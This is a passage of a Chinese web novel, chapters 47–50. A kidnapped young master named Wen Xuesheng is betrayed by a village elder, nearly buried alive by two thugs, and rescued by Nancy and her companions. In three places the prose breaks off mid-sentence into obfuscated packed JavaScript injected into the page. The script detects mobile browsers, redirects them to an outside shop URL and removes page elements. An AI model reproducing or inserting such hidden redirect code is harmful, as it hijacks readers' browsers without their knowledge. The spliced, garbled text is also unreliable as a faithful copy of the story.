“我了解他……”南希像在自言自语,“他很聪明,也有胆子,就算身体不好,如果看守他的,真的只有这仨已经倒了的货色,他绝对有能力自己从这里逃出去。可是,我很奇怪,”她举起手里的大哥大,“他要逃,为什么不带上这个?这是他能最快联系到外界的东西。” 她顿了顿,视线扫过在场的三人,眼神里竟有种难以言喻的沉重:“然后,我用它,拨了温沙城堡的电话。” 孙紫忍不住问:“打通了?” “打通了。”南希点头,“但是,接电话的是一个我从来没听过的声音。” 三人的脸色有了些许变化。 南希继续说,语速越来越急,好似在拼凑一个可怕的猜想:“你们有没有想过,温雪生被绑,这么大的事,为什么温四爷那儿,没表现出该有的着急?他根本就没发动所有力量,满世界,翻天覆地地找他啊!” 孙红插话:“这点我不赞同,我们今晚收到消息,在外面找人的时候,明明碰到了很多在四处打听温雪生消息的小流氓。” “好,”南希叹了口气,“那么我换一种问法。我们,凭我们这几个人,几条线,都能找到这里,他爹温四爷,势力那么大,耳目那么多,会找不到吗?” * 济东郊区,李家村。 村里黑漆漆的,只有一座土屋还亮着幽幽的黄光。 光线映照着屋子门口的木牌,上面用红漆画了个规整的十字。 红十字下停了一辆破旧的三蹦子。 屋里,温雪生躺在一张铺着棉絮的铁床上,脸色苍白,唇上没有血色。更扎眼的是,他裸露的胸膛、手臂和小腿上,扎满了细长的银针。 一个穿着白大卦,编着俩麻花辫的女孩,刚在他小腿上落下最后一根针。 她抬手用袖子抹了把额头上的汗,回头对坐在一边的黑瘦大爷说: “好了,李伯,您放心就成。” 李伯下意识地连声回:“啊,谢谢,谢谢……”说完才一愣,他放个啥心啊,这人又跟他没关系,他赶紧伸手指了指铁床上的人,好像在说“你别光跟我讲,你也问问他觉得怎么样了啊”。 女孩转过身,视线却不太好意思直接落在温雪生身上,她长这么大,还从没见过长得这么好看的男孩子,尽管他脸颊靠近鬓角的地方,隐隐有些不太正常的青色细纹,但这丝毫没影响到他的好看,反而添了点说不出的味道。 她垂下眼,盯着他胸口的一根银针,轻声问:“那个……你,你有没有好受些?” 温雪生的头微微抬了一下,睫毛颤了颤,睁开了眼。 他的眼神有些涣散,正在努力聚焦。 “谢谢。”他吐出两个字,然后想要起身,可是身体稍微一动,各个地方就传来了无数道细微的痛楚,让他忍不住低吟了一声“嘶——”。 女孩着急上前,伸出手想碰他,却又缩了回去,只是疾声提醒他:“小心啊……针灸的时候不能动的。” 温雪生的目光扫过自己满身的银针,抬起的头又无奈地落回了枕头,眉心锁得很紧:“多久能取下来?” 47. 第 47 章 “对啊,欢丫头,还得耗多久啊?”李伯搓着手问。 女孩转过头,脸上挤出一点安抚的笑:“很快的,你们放心,半个小时,半个小时就好。”她顿了顿,像是怕铁床上的人等不及,又赶紧补充道,“这针要是起早了,就没效果了,白扎了。” 李伯一听还要这么久,眉头拧成了疙瘩:“半个钟头?这……家里老婆子还等着我呢,天黑路不好走,我怎么也得先回去跟她说一声。”他像是找到了理由,不等女孩回应,抬脚就往门口溜,出门前又回过头,有些不好意思,“欢丫头,你也别忙太晚,要是完事了,赶紧让他走啊。” 门“吱呀”一声被拉开,又“哐当”一声被关上,带进一股冷风,吹得灯泡又晃了几下。 土屋里霎时死寂,只剩下挂钟“滴答、滴答”的声响,像在给谁读秒。 李伯一走,这欢丫头显得更不自在。她站着不是,坐下也不是,手脚都像是借来的,不知道该往哪里放。 病床上的男人自始至终一言不发,跟块石头似的,连呼吸都轻得几乎听不见,空气凝固得让人心慌。 欢丫头憋了好半天,脸都快憋红了,才从嗓子眼里挤出点声音:“你……你的脸怎么了?是……受伤了吗?” 温雪生似乎怔了一下,微微偏过头,露出被灯光阴影覆盖的侧脸轮廓。 “……脸?”他的声音很沉。 欢丫头见他搭话,连忙点头,伸出一根手指,怯生生地指了指自己鬓角往下的位置:“嗯,你脸上这些地方……感觉有些青色的细纹,不太明显,但仔细看能看出来。”她舔了舔有点干的嘴唇,鼓起勇气又问,“要我帮你看看吗?我……我跟我爷爷学过点皮毛。” 温雪生没吭声,他的视线从女孩身上移开,望向被煤烟熏得跟黑板似的天花板,那上面糊着层层叠叠、已经发黄脆化的旧报纸,字迹模糊不清。 而他眼神空洞,仿佛穿透了这屋顶,看到了别处。 大概一个月前,他的家庭医生,推了推自己厚重的眼镜,正儿八经地告诉他: “少爷,从我目前掌握的情况来看,既然您的这种特殊‘遭遇’,对您产生了如此积极的生理改变,那么,可能的话,希望您能定期跟那只鬼见面。” “理论上,持续、稳定的良性刺激,有助于身体机能维持在新的平衡点……” 温雪生无奈到有些想笑,这么荒唐的事,竟然都能让他说准,看来那些纹路的消退,果然与她有关……这才一个多星期没见,纹路就又开始长出来了…… “需要我……帮你看看吗?”欢丫头见他又不说话了,小心翼翼地又问了一遍,她觉得他好像没有反对的意思,便迟疑着伸出手,想要凑近些观察。 就在指尖即将触碰到他的前一刻,温雪生忽地一斜眼,目光锐利得像冰锥,刺得欢丫头的手僵在半空。 “不用了,我这是中了毒。” 欢丫头嗖地缩回手,一把捂住嘴,眼睛瞪得溜圆。 温雪生的嘴角极其轻微地扯了扯,像是在嘲笑这千篇一律的反应。 几乎每个人,每一个听说他中毒的人,表情都跟一个模子刻出来似的——惊愕、或许还有一丝不易察觉的担忧。他早就习惯,甚至是麻木……但是今晚,可能是这狭小土屋里过于安静,讲故事的氛围浓厚,也可能是那点“自己快死了”的、破罐子破摔的心态作祟,某种沉寂已久的东西竟破土而出,他忽然很想说点什么,把那段腐烂在心底的往事挖出来,晒一晒。 “怕了?”他问。 欢丫头点点头,然后又迅速地摇头。 温雪生不再看她,而是继续看向天花板。 “这个毒是我小时候中的,跟了我很多很多年了……”他的声音依旧低沉,却多了一丝飘忽,就像是在说别人的事,“在我更小的时候,我也像大部分人一样,有妈妈疼,有哥哥罩,有爸爸,唉,算了……他那个时候就忙得脚不沾地了。 “等我稍微长大些,他的工作也越做越厉害,越来越忙,回家的次数当然也越来越少,然后有一天,他工作上的死对头,买通了在我家干活的一个老伙计……平时看着很老实的一个人,没想到几沓钱就能让他出卖良心……然后,他趁我爸不在家的时候,把我和我妈,还有我哥,带到了一个特别可怕的地方。那里很冷,很黑,也没有吃的,我们被饿了好多天,唯一送过来的食物,还有毒。 “那时候,我不懂事,又饿疯了,就没听妈妈的话,偷偷吃了那东西……结果,可想而知,我差点被毒死,”温雪生顿了顿,“也害死了妈妈,还有哥哥。” “后来,爸爸终于找到了我,把我救了出去,却把他们,永远地留在了那儿……而我,虽然活了下来,却变成了一个体弱多病的废人,我的脸,也就变成了这副样子,不,更可怕,那时候,不仅脸,我全身上下都长满了丑陋的纹路。”温雪生动了动脖子,让灯光更清晰地照亮他鬓角下方那些若隐若现、如同蛛网般的藏青色细纹,“但是我不在乎这些,我只想知道我妈,和我哥具体是怎么没的。我就问爸爸,他们到底发了什么?可是他一个字都不说,甚至嫌我烦了,抡着棍子打我,打得我鼻子里、嘴里全是血……从那以后,我们家的人,就再也不能提我妈和我哥,就好像,他们从没存在过一样…… “对了,为了让他们彻底消失,我爸还让家里的妈妈伙计都叫我‘大少爷’。我抗议,他们就低着头重复说‘这是老爷吩咐的’。至于他们嘴里的这个老爷,他还是像以前那么忙,不对,应该是更忙了,忙得一年到头我都见不到他几次。而仅有的几次见面,他也不正眼看我,大概是因为我脸上这些东西碍了他的眼,影响他的心情,所以,他给我建了一个新房子,让我搬出原来的家,还找人看着我,不让我出门给他丢人…… “再后来,他又有了新的、好多好多女人,手下认得干儿子也个个精明能干,事业便也蒸蒸日上,当年的死对头早就被他踩在了脚下。这时候,他终于想起,还有我什么一个‘残次品’儿子了。于是,他开始各种嘘寒问暖,表演父爱如山,让全世界都认为他对我疼爱有加,他是个情深义重的好爸爸。可我心里清楚,他是因为现在的事业范围广了,需要有一个好的形象,那些对我的好都是做出来装样子呢。” 温雪生深深地吸了一口气,“再再后来……” 可是,这个“后来”刚开了个头,土屋那扇不算结实的木门,就被人从外面“嘭”的一声推开了。 凛冽的寒风瞬间灌满了整个屋子,吹得灯泡剧烈摇晃。 随风闯进来的,是两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她几乎是扑了过去,也顾不上凯伯还在那哼哼,手忙脚乱地开始拔针。 一根,两根,三根……拔到他头顶附近时,她不得不弯下腰,凑近对方的头发。 就在这时,一个极其低沉,几乎只是气流摩擦的声音,钻入了她的耳朵。 那是一串数字,电话号码。 后面还紧跟着一句话,语速快而清晰:“打这个号,说‘温雪生’在这。” 欢丫头的手指僵了一下,还没等她完全消化这句话的意思,也没等她取完最后一根针,身下的男人骤然发了力气! 他像一颗出膛的炮弹,猛地从铁床上弹起,赤着脚,直接踹向了那扇还没来得及关严实的木门! 哐当! 一声巨响,木门应声而开,撞在土墙上,差点散架。 霎时,冰冷的夜风再次呼啸着倒灌进来。 温雪生头也不回,身影一闪,便彻底消失在门外浓稠的黑暗里。 几乎同一时间,刚才还抱着脑袋痛苦呻吟的凯伯,忽然停止了哼哼,动作利落地跳下了圆凳。而大壮也立刻收敛了脸上那点憨气,眼神变得像狼一样锐利。 父子俩对视一眼,没有任何犹豫,紧跟着就追了出去,脚步声迅速被风声吞没。 48. 第 48 章 土屋里,瞬间只剩下欢丫头一个人。 她僵在原地,手里还捏着那根没来得及放下的银针,手脚冰凉。 事情发生得太快,快到她脑子根本转不过弯,只有刚才那个病人,凑在她耳边说的话还在脑海萦绕,怎么挥也挥不去。 也许是那病人眼神里的绝望太真实,又也许是自己莫名其妙的直觉,除了那句话,她还隐隐听到有个声音在催她:快!快!快去打电话!晚了就出人命了! 她猛地转身,冲进里屋,一眼就看到了八仙桌上的红色电话。 心慌得厉害,又手也不听使唤,她只能强忍住不安,抓起听筒,颤抖着贴上耳朵。 号码!那串数字! 她默念着,可是手指悬在按键上,迟迟没有落下。 刚才明明记得清清楚楚,怎么这会儿…… 后面四位,是8237?还是8257? 脑子里突然像塞进了一团乱麻,那铁床上的病人气息很弱,吐字有点糊,她听得其实并不真切…… 不管了,没时间琢磨了!她一咬牙,按下了8237。 听筒里传来“嘟——嘟——”的连线声,每一声都敲在她紧绷的神经上。 然后,通了。 “喂?”一个男人的声音,黏黏糊糊的,背景音很闹很吵,像是在喝酒划拳。 欢丫头吸了口气,尽量让自己的声音不抖:“喂?我,我找……不对,温雪生在这,他……” “cao!”对面骂了一句,酒气似乎都能透过电话线传过来,“什么他妈雪生熟生的!大半夜吵什么吵!打错了,滚!” “咔哒”一声,电话被狠狠挂断。 忙音再次响起,冰冷无情。 欢丫头握着听筒的手心全是汗,她定了定神,又按下了8257。 这次对方接得更快,可是,当她说完“温雪生在这”几个字时,对方回了句“你找错人了”然后干脆地挂了电话,连多一秒的确认都没有。 电话里又传来了长长的忙音。 欢丫头的心直往下坠,就像掉进了冰窟窿。 两个号码都不对……怎么办?那个救命的电话到底是什么? 她努力回想,想从混乱的记忆里捞出那串正确的数字。 就在她要第三次尝试时,眼前竟闪过凯伯和大壮离开时的凶狠眼神,跟要吃人一样。 她吓得一个哆嗦,手里湿滑的听筒没拿住,“啪”的一声掉在桌子上。 那串本就模糊的号码,随着这一摔,彻底从脑中消失了…… 与此同时,李家村又窄又深的巷子里。 温雪生拼命跑着,肺里火辣辣的,每一次呼吸都带着血腥气。他刚刚在土屋里,靠着欢丫头那几根针所攒下的一点体力,正在飞速流逝。 而他身后,脚步声紧追不舍,男人的咆哮也越来越近。 他还不能停下来! 他东拐西绕,把靠在墙边的柴草垛子用力推倒,干秸秆哗啦啦散了一地;路过个岔口,看到一辆废弃的独轮小推车,他又咬着牙把它掀翻,横在路中间…… 不过,这些小花招也就能挣几个喘气的功夫,并不能阻挡那俩追兵。 很快,汗水迷了他的眼睛,腿也像绑了沙袋…… 脚步声更近了!他几乎能感受到身后人喷出的热气! 就在这时—— 突突突……突突突…… 一阵熟悉的引擎声由远及近,在这寂静的夜里格外炸耳。 温雪生连忙循声望去,东边那条稍宽一点的土路上,一辆三蹦子正慢悠悠地开着,车头那盏昏黄的大灯在黑暗中一晃一晃。 是李伯! 心底涌上一阵激动,求生的本能让他爆发出新的力气,他提着腿朝三蹦子的方向冲去,一边跑一边挥手,扯着嗓子嘶喊:“李伯!等等!停一下!停一下!” 几句快要破音的话发出后,那三蹦子的速度明显慢了下来,然后,真的停在了他前头十几米远的地方。 驾驶座上的李伯回过头。 车灯不算亮,但足够让两人看清彼此的脸。 可是,温雪生眼里,那瞬间燃起的期待,在对上李伯视线的那一刹,像被泼了盆冷水,“噗”地灭了。 李伯看着他,嘴唇抿成一条死直的线,脸上没有任何表情,没有惊也没有怕,那双看起来浑浊温和的眼睛,这会儿竟沉得瘆人。 温雪生停下了脚步,没再往前挪动一寸。 他所有的力气,连同那点微弱的希望,都在这一眼里被抽空了。 而李伯什么也没说,最后又深深地看了他一眼,然后转回头,发动了三蹦子。 突突突……突突突…… 引擎声重新嚎叫起来,三蹦子颠簸着,加速,朝着远离温雪生的方向开去。 温雪生耷拉着肩膀,僵立在路中间,像一尊失去灵魂的雕像。 夜风吹过,裹挟着凉意,他却感觉不到。 逃不掉了…… 他这样想。 之前,他能考虑到大半夜荒郊野外冒出一辆汽车不正常,为什么就没料到,有个开着三蹦子的老大爷“恰好”路过,更不正常呢? 刚刚在土屋,那个凯伯和大壮一进门,他就闻到了他们身上熟悉的、下水道似的流氓味儿。他从小在这类人堆里长大,哪怕他们穿着普通村民的衣服,说着本地的土话,这种味道,他隔着老远也能认出来。 他当时就起了疑心,只是没想到,他们竟然跟李伯是一伙的。 李伯,这个看起来憨厚朴实的老头儿,是他,把自己从危险中救下,带进了这个更危险的村子。 他还是太天真,太轻敌了。 那个接电话的人,怎么可能那么安静地等他逃走?其实对方早就布好了网,等着他这只病弱的鸟儿自己撞进来。 “啊——” 这时,小腿肚子传来一阵剧痛,像是被铁棍子狠狠抡了一下,他闷哼一声,膝盖一软,整个人不受控制地向前跪倒。 紧跟着,一只穿着解放鞋的大脚,踩在了他的脊梁上,力道沉重,压得他几乎喘不过气。 “妈呀!” 是那个叫大壮的,声音里带着点儿跑累后的喘息,“这病痨鬼少爷,还挺能跑啊!累死老子了!” 凯伯追了过来,气息也有些不稳,但语气里透着完成任务后的轻松劲儿:“行了,逮住了就好,我会跟头儿说,给咱加钱的。” 说完,他掏出一块黑抹布,团了团,不由分说地塞进温雪生嘴里。 然后,他又从大壮手里接过一捆粗麻绳,熟练地开始往他身上缠,一圈,又一圈,勒得很紧。 温雪生没有挣扎,任由他们摆弄,眼睛似乎还望着那个远去的三蹦子。 可那“突突突”的声音,早就听不见了。 在他的视线所不能捕捉到的地方,李伯死死攥着三蹦子的车把,嘴唇依旧抿得很紧,嘴角往下耷拉着,眼睛里布满红血丝。 他这一晚上经历的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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衬着月光,他瞅见一辆方方块块的越野车,几乎贴着三蹦子的车头,紧急刹停了! 李伯魂儿都快吓飞了,下意识急打方向盘,同时刹车踩到底,哪料三蹦子重心不稳,直接侧翻在地,把他从驾驶座上甩了出去。 砰! 他结结实实地摔在冰冷的路面上,手掌和胳膊肘先着地,一阵钻心的疼传来,手心肯定让地上的碎石子儿给磨破了。 “诶!大爷!没事吧?!” 几个人影从那越野车上跳下来,小跑着冲他来了。 李伯摔得七荤八素、眼冒金星,憋了一晚上的窝囊、恐惧,还有这飞来横祸带来的委屈,瞬间全都化成了怒火。他挣扎着用手撑地想坐起来,可手心的刺痛让他直咧嘴,竟没坐成。 车上下来的人已经跑到他身边,伸手想要扶他。 “对不住啊,大爷。” 李伯一把打开对方的手,却借着对方的劲儿勉强坐直了,也顾不上浑身的疼,开口就冲他们吼:“你们咋回事啊?!这大半夜的开车咋不打灯啊!是不是想撞死我啊!我这老骨头经得住你们这么吓唬吗?!” 听了这话,边上响起一个女孩的抱怨声:“笑远,我就说开灯吧,也不知道你咋想的,非要听她的,这下好了,差点搞出人命。” 紧接着,另一个音色类似,但稍微沉稳些的女声接上:“是啊,要是真撞上人怎么办?多危险!诶,南希,你说说,怎么……” 然而,她的话还没说完,就被那最先跑到李伯身边的人打断了。 “等等!” 这人的视线从侧翻在地的三蹦子,慢慢移到李伯因愤怒而涨红的脸上,目光骤然一紧。 “大爷,”她盯着李伯的眼睛,一字一句地问,“刚才,我是说,大概五十分钟前,咱们是不是在这条马路上碰到过?” 49. 第 49 章 李伯那点火气,被这句话瞬间浇灭,变成了惊吓,哽在喉咙里。 他咽了口唾沫,这才抬眼看清楚眼前的人。 是个很水灵的女孩,年纪不大,可那一头火焰般的红发,和那双过于犀利的眼睛,透出一种强烈的压迫感,压得他喘不过气,活像他年轻时在城里的动物园见过的,那种准备扑食的豹子。 对方敏锐地捕捉到了他脸上的惊慌,然后一把抓住李伯的胳膊,指甲几乎要掐进他的袖子里:“说呀,刚才咱们是不是遇到过?就在村口那条路上?!” 李伯被这气势吓住了,嘴唇哆嗦着,发不出声音。胳膊被掐住的地方,隔着厚棉袄,其实并不疼,但他整个身子都僵了。 “你快说!”女孩又喊了一声,声音又尖又急。 旁边那个穿着皮衣的男人伸出手,拍了拍女孩的手背。 “南希,别太激动,你吓着他了。” 说话时,他手上用了点巧劲,把女孩紧攥着的手从李伯胳膊上掰了下来,然后又转向李伯,“大爷,五十分钟前,我们在旁边的S308省道上,”他指了指翻倒在地的三蹦子,“好像确实碰到了这么一辆三轮。如果,我们当时遇到的真是你,麻烦你能告诉我们。” 李伯看看皮衣男,又看看那叫南希的红发女孩,大脑空白,哆哆嗦嗦地点了点头。 南希的眼睛骤然亮了,再次开口:“大爷,那你有没有见着一个看起来二十左右的青年?”她抬手比划了一下,“长得这么高,瘦瘦的,身体不太好样子,对了,他还长得特别好看,你要是见过,肯定有印象!” 李伯听着她的描述,那张苍白,长着青色细纹,又过分帅气的脸立刻浮现在了眼前。 他吧唧吧唧嘴,喉咙里发出了几下无意义的声响,眼框里便吧嗒吧嗒地掉下泪来。 就像老凯之前数落他的,他这辈子就是个老好人,是真没干过坏事,从答应把那小伙子骗上车开始,他心里就憋得难受,这会儿,那点愧疚和恐惧像洪水决了堤,他终于忍不住了,带着哭腔嚷道:“我不是人啊!是我……是我把他弄来的!他被坏蛋绑走了,你们快去找他吧!要不……要不真不知道会发生什么事啊!” 他瘫坐在地上,鼻涕眼泪糊了一脸。 * 离省道几里外的一片荒郊,一棵老榆树孤零零的杵着,刚长出嫩芽的树干在月光下拖出乱七八糟的阴影,张牙舞爪地印在冰冷的土地上。 树下,温雪生被扔在那里,麻绳捆得结实,动弹不了。他脸上沾满了干涸的泥块子,眼睛半睁半闭,借着微弱的月光,能看到他胸口起伏得非常剧烈。 突然,一抔带着湿气的泥土飞溅过来,正好砸在他脸上,迷了他的眼。他难受地闭紧了眼皮,身体抽搐了一下。 旁边,一个魁梧的汉子和一个不高的老头正挥着铁锹,在树下挖坑。挖出来的泥在坑边堆起了一座小小的土丘,一些散落的土粒滚落下去,盖在了温雪生的腿上,脚上,和肚子上…… 那老头便是凯伯。 他年纪大了,挖了一会儿就喘不上气,把铁锹往旁边一抛,一屁股坐在土堆上,回头瞥那魁梧汉子,着急地催促:“大壮,你动作快点,时间不早了,弄完好回去,这鬼地方,连个野兔子都不乐意来拉屎。” 大壮本来闷着头在卖力挖土,一听这话不乐意了,合着就他一人干活啊? 他一下子把铁锹狠狠插进脚下的土里,抱起双臂,闷声闷气地说:“你啥意思?第几次了?又是老子一个人干,你光动嘴皮子啊?诶诶,你可别说你又犯腰疼的毛病了!” 凯伯被顶得来了火,啐了一口带泥的唾沫:“我就是腰疼咋地了?等你到了我这岁数你还不如我呢!再说,平时你不是都喊我爹吗?爹让你多出点力都不行?你也不看看现在几点了,心里没数?赶紧弄完拉倒,再磨蹭天都要亮了!” 大壮梗着脖子:“少来这套!哪回不是这样?上次埋……” “他妈的你快给我闭嘴吧!”凯伯厉声打断他,警惕地看了看四周,只有风声吹过榆树枝干的沙沙声,他松了口气,压低声音,“你嚷嚷什么啊?怕别人不知道这棵‘功劳树’是吧!干了这么久,这点规矩,你他妈都不懂?快麻利地干活儿吧!” 大壮被吼得一怔,愤愤地瞪了凯伯一眼,嘴里不干不净地嘟囔着“老棺材瓤子”,但还是悻悻地转过身,用力把铁锹从土里拔出来,继续挖掘那个越来越深的的土坑。 泥土被铲起,又落下,发出沙沙的声响,规律得让人心里发瘆。 不出一会儿,一个可以埋三四个人的大坑就被挖好了。 凯伯见大壮动作麻利,也不好意思再坐着,起身把倒在树边的温雪生拖着地拽了过来,然后一脚踢进了坑里。 大壮反手一挥铁锹,动作从往外铲土,瞬间变成了往坑里填土。李伯也拿起铁锹,插进一边的小土丘,脚一踩,手腕一压又一掀,然后带着草根的土块就飞进坑里。 两人没有一句交流,却配合得十分默契,你一下,我一下,汗水顺着额角流下,也顾不上擦,没多久,坑里的土已经盖了半人多高,没了温雪生的胸膛。 而埋头干活的他们,并不知道,一辆没开车灯的切诺基,已经绕着村子转了两圈,此时正向大榆树这边快速逼近。 等他们听到发动机的嗡鸣声时,一切已经来不及了。 这一老一少警觉抬头,瞧见了像幽灵一样,已经滑到近前的越野车,那车身几乎融在了夜色里。 车还没停稳,三条黑影如猎豹般从两侧飞身而下。 “什么人!”大壮反应慢了一拍,刚吼出一嗓子,一个迅猛的飞腿已经直奔他的面门。他仗着身形魁梧,想硬抗,可对方根本不给他机会,拳头夹着风声接踵而至,只听砰砰几下,又重又狠地攻击就砸在了他的头、脸和肚子上。 他力气是大,但敏捷差了太多,眼前金星乱冒,还没看清来人的模样,就感觉脑袋一震,天旋地转,然后脸朝地拍进刚填了一半的土坑里,没了声。 几乎在大壮倒下的同时,凯伯也被另外两人干脆利落地放倒,不再动弹。 这时,切诺基上的第四个人,张笑远,从驾驶座下来,快速扫视了下全场,然后走上前,用不容置疑的口吻对眼前的人说:“师姐,确认四周。” 话音落地,两个矫健的身影立刻散开,像夜猫一样,悄无声息地绕着榆树,和附近的草丛检查了一圈,很快返回。 孙红:“笑远,没人。” 孙紫:“这边也干净。” 张笑远微微点头,结合之前从李伯那里得来的信息,他已经可以确认绑架温雪生的人只有两个。 心里最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654778|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一点疑虑散去,他便不再耽搁,几步跨到土坑。 一个身影比他还快。 那必然是南希。 她直接扑到坑边,瞥了眼那个只剩一个头露在外面的温雪生,二话没说,抓起大壮刚丢下的铁锹,就开始挖土。 铁锹在她手里显得有些沉重,但她咬着牙,一铲一铲,拼命地把刚刚填进去的泥土又刨出来。 张笑远和双胞胎姐妹也动手帮忙,加入进去。 四把铁锹飞快地起落。 幸好土是刚填的,还很松软,没一会儿,他们就挖出了温雪生的身体。 “慢点,轻轻抬!”南希低喝。 然后几人合力,小心翼翼地把温雪生从土坑里拖了出来,平放在旁边的土地上。 他浑身裹满泥土,软绵绵的,没有任何反应。 南希脸色很差,身体虚软,跪倒在他跟上,伸出手,想碰他又不敢,最后只是小心地托住他的头颈,将他上半身轻轻揽进自己怀里。 她用手臂环着他,整个人佝偻下去,害怕地把耳朵贴近他的胸口。 夜风吹过,吹走了她粗重的喘息,还有其他人紧张的沉默。 几秒钟后,她轻轻颤了下。 听到了! 那胸膛下面,传来一下极其微弱,但确实存在的跳动! 一直紧绷的、几乎麻木的神经,在这一刻骤然崩断。 南希手臂一收,死死抱紧了怀里这具沾满泥土的身体,把脸埋进他的肩窝,然后,一阵无法控制的酸楚,涌上了鼻尖。 三天。 仅仅三天。 这三天里,她一直在找他,也一直在麻痹自己,她告诉自己不能慌,不能乱,温雪生一定没事,但她不敢想,不敢停,怕一停下来,那无边的恐惧就会把她吞噬。 她很少后悔,认定的事做了就做了,可这三天,心里那个名为后悔的钉子,越钉越深。 要是当时,没有离开他去追张笑远就好了…… 要是当时,能再多缠着他一会儿,哪怕多一分钟,就好了…… 她从来没想过,这个脾气又臭又硬,说话能气死人,别扭得要命的大少爷,不知什么时候,已经在她心里扎了这么深的根,深到只要稍微想想自己可能会失去他,就会让她痛彻心扉。 她缓缓抬起头,借着凄凉的月光,看了看他。 脸上全是泥,几乎看不清原本的模样。 她赶忙用手,颤抖着,一点点,一点点地把那些泥拂去。 熟悉的眉眼,挺直的鼻梁,总是紧抿着显得很不高兴的嘴唇,慢慢显露出来。 明明人就在眼前,被她真实地抱在怀里,可一股强烈的思念还是像潮水般袭来,淹没了她。 为什么会这么想他? 是想听他用那欠揍的语气叫她“走开”吗? 是想看他皱着眉嫌弃她,却又无可奈何吗? …… 意识恍惚间,一个只属于他的称呼,无意识地滑出口,轻得像一声叹息: “小生生,小生生……” 像是再也忍不住,大颗大颗的泪珠毫无征兆地滚落,吧嗒吧嗒,砸在他刚刚被擦干净一些的脸颊上。 而她的视线被泪水模糊,看不清他的样子了。 “你,要哭……别在我脸上哭……” 50. 第 50 章 压抑的抽噎声中,一句微弱却十足欠揍的话,飘进了南希的耳朵。 她愣住了三秒,大脑一片空白。 月色下,温雪生脸上的泥水泛着微光,而他的眼睛不知什么时候已经睁开,正静静地看着她。 这个发现让她手忙脚乱,赶紧用袖子在脸上胡乱抹了一把,试图擦去那些丢人的泪痕。 然后她也看向他。 他头上的黑眼罩不见了,这是她第二次看清他的眼睛,只是没想到,竟会比第一次更让她心痛。 上一次,他的右眼十分暗淡,而左眼是蓝色的,像一颗璀璨的蓝宝石。而现在,这两只眼睛都失去了光泽,漂亮的左眼变成了灰白色,像是蒙尘的珍珠,那是盲人才会有的眼睛。 右眼就更不用说了,看起来十分疲惫,跟快熄灭的蜡烛一样。 南希忽然想起温四爷对她说的: “三个月前,雪生就找人挖了他的左眼,取出了那块蓝宝石,然后……送了出去……” 这句话她一直不想相信,可是现在证据确凿,她已经不得不信。 他竟然真的为了她,挖掉了自己的眼! 一时间,眼前这双眼睛变成了一把钝刀,在南希心上来来回回地切割。 那才刚止住的泪水便又开始不受控制地滑落。 “你,你……”温雪生缓缓抬起手,指尖微颤着落在她的手背上,声音很轻,“我怎么不知道,你这么能哭……” 南希立马啜泣着喊道:"你还问我?!我倒是想问问你,你是不是脑子被门挤了?!为什么要挖自己的眼睛啊!?" 温雪生明显怔了一下,这才意识到,他的脸已经没有了眼罩的遮挡。他慌乱地闭上左眼,只敢睁着右眼,像是害怕被她看见自己不堪的一面。 刚才在迷迷糊糊中,他就已经知道她来了。那一刻,他心里涌起一种难以言喻的喜悦,仿佛在漫长的黑夜里终于看到了一缕曙光,但是,沉重的困惑也随之而至:她怎么在这儿?她是怎么找到这个偏僻地方的? ……无数个问题在他心里翻腾,可这所有的疑问,又很快在她的泪水中消散了。 她哭了…… 他还从没见过她哭呢…… 他浅浅睁开眼,这画面比他想象的还要令人手足无措。 “非要,现在,说这些让人哭的事吗?”温雪生吃力地喘了口气,"我刚才被埋得憋得慌,你一哭,我更觉得喘不过气来了……" 南希愣了愣,对上温雪生的目光,他的眼底很沉很深,似乎还有荡漾的水波。忽然,她好似被什么东西附了身,猛地低下头,双唇紧紧覆上他的嘴,用舌尖轻轻撬开了他的唇瓣。 整套动作带着一种不顾一切的决绝,仿佛想用这种方式确认他的存在。 温雪生只觉得唇上一热,泪水的咸涩与泥土的腥味便一同侵.入到了舌尖,心跳开始疯狂加速。 然后,他像是受不住这激烈的冲击,竟不由地轻咳了一声,胸腔剧烈震颤起来。 南希连忙抬起头,与温雪生刚刚有点血色的唇瓣相离。 温雪生偏过头去,不想让她看见自己发烫的脸颊。他强作镇定,对着空气说:“你,你这是要干什么?” 这声音干涩得像是许久未说话的人。 南希嘴角一撇,竟然理直气壮:“干什么?你不是喘不过气吗?我当然是要给你做人工呼吸呀!” 人工呼吸? 温雪生看向她,却被她脸上的正经表情噎得发不出声,右手无意识地攥紧了身边的泥。 这时,一阵女人的轻笑声打破了这微妙的气氛:“哈哈哈哈,我还是第一次听说,有人给醒着的人做人工呼吸呢。” 另一个女声随即附和,语气里有调侃:“我看,她根本不是想给他做人工呼吸,就是想找借口亲他。” “妹啊!”第一个女声又说,“我跟你说过多少次,有些实话讲不得……” 南希默默听着,眨了眨眼,不仅没有反驳,反而直勾勾地盯着温雪生,那眼神像是要把他一口吞掉似的:“嗯,她们说得没错,小生生,再让我亲一下呗。” 那俩女人完全没料到她会这样回应,她们原以为会看到她羞恼成怒,谁承想她竟是个脸皮比墙还厚的主儿。于是,她们一个挑了挑眉,另一个则掩嘴轻笑,肩膀微微抖动,像是放弃了调侃。 温雪生也呆住了。 眼看南希噘着嘴巴又要凑上来了,他不知从哪挤出了些力气,抬手一把捂住了她的嘴。与此同时,他斜眼看向一旁,这才注意到边上竟还站着三个人。 一红一紫,两个穿着艳丽,长相一模一样的成熟女性。 这应该就是刚才开玩笑的那俩。 这会儿,她们正似笑非笑地看着他,像在看动物园里的珍稀动物。 